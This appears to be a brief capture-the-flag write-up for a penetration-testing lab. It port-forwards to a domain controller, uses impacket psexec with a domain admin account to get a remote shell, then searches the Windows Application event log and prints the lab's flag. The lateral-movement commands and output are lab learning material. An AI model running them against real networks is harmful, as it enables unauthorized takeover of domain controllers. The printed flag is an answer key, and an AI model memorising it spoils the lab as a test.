

from ws04, portfwd to dc01

portfwd add -L 10.10.14.83 -r 10.10.120.1 -l 445 -p 445

then use impacket psexec to get shell on dc01

enumerate and find log entries and then search logs to get flag

```
PS C:\Windows\system32> Get-Eventlog -list
et-Eventlog -list

Max(K) Retain OverflowAction Entries Log
-----
512 7 OverwriteOlder 127 Active Directory Web Services
20,480 0 OverwriteAsNeeded 12,628 Application
15,168 0 OverwriteAsNeeded 114 DFS Replication
512 0 OverwriteAsNeeded 2,554 Directory Service
102,400 0 OverwriteAsNeeded 132 DNS Server
20,480 0 OverwriteAsNeeded 0 HardwareEvents
512 7 OverwriteOlder 0 Internet Explorer
20,480 0 OverwriteAsNeeded 0 Key Management Service
131,072 0 OverwriteAsNeeded 214,101 Security
20,480 0 OverwriteAsNeeded 14,945 System
15,360 0 OverwriteAsNeeded 517 Windows PowerShell

PS C:\Windows\system32>
```

```
Get-EventLog -LogName "Application" | where {$_.Message -like '*RASTA*'} | select Message | format-table -wrap
```

```

(impacket) root@kali:~/Desktop/impacket/impacket/examples# proxychains ./psexec.py -target-ip 10.10.120.1 rastalabs.local/rweston_da@DC01
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

Password:
[S-chain]-<-127.0.0.1:1080-<->-10.10.120.1:445-<->-OK
[*] Requesting shares on 10.10.120.1.....
[*] Found writable share ADMIN$
[*] Uploading file QX0euRdu.exe
[*] Opening SVCManager on 10.10.120.1.....
[*] Creating service Thkj on 10.10.120.1.....
[*] Starting service Thkj...
[S-chain]-<-127.0.0.1:1080-<->-10.10.120.1:445-<->-OK
[S-chain]-<-127.0.0.1:1080-<->-10.10.120.1:445-<->-OK
[!] Press help for extra shell commands
[S-chain]-<-127.0.0.1:1080-<->-10.10.120.1:445-<->-OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>powershell.exe
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> Get-EventLog -LogName "Application" | where {$_.Message -like '*RASTA*'} | select Message | format-table -wrap
et-EventLog -LogName "Application" | where {$_.Message -like '*RASTA*'} | select Message | format-table -wrap

Message
-----
RASTA{1nc1d3n7_r35p0nd3r5_l0v3_l065}

PS C:\Windows\system32>

```

RASTA{1nc1d3n7_r35p0nd3r5_l0v3_l065}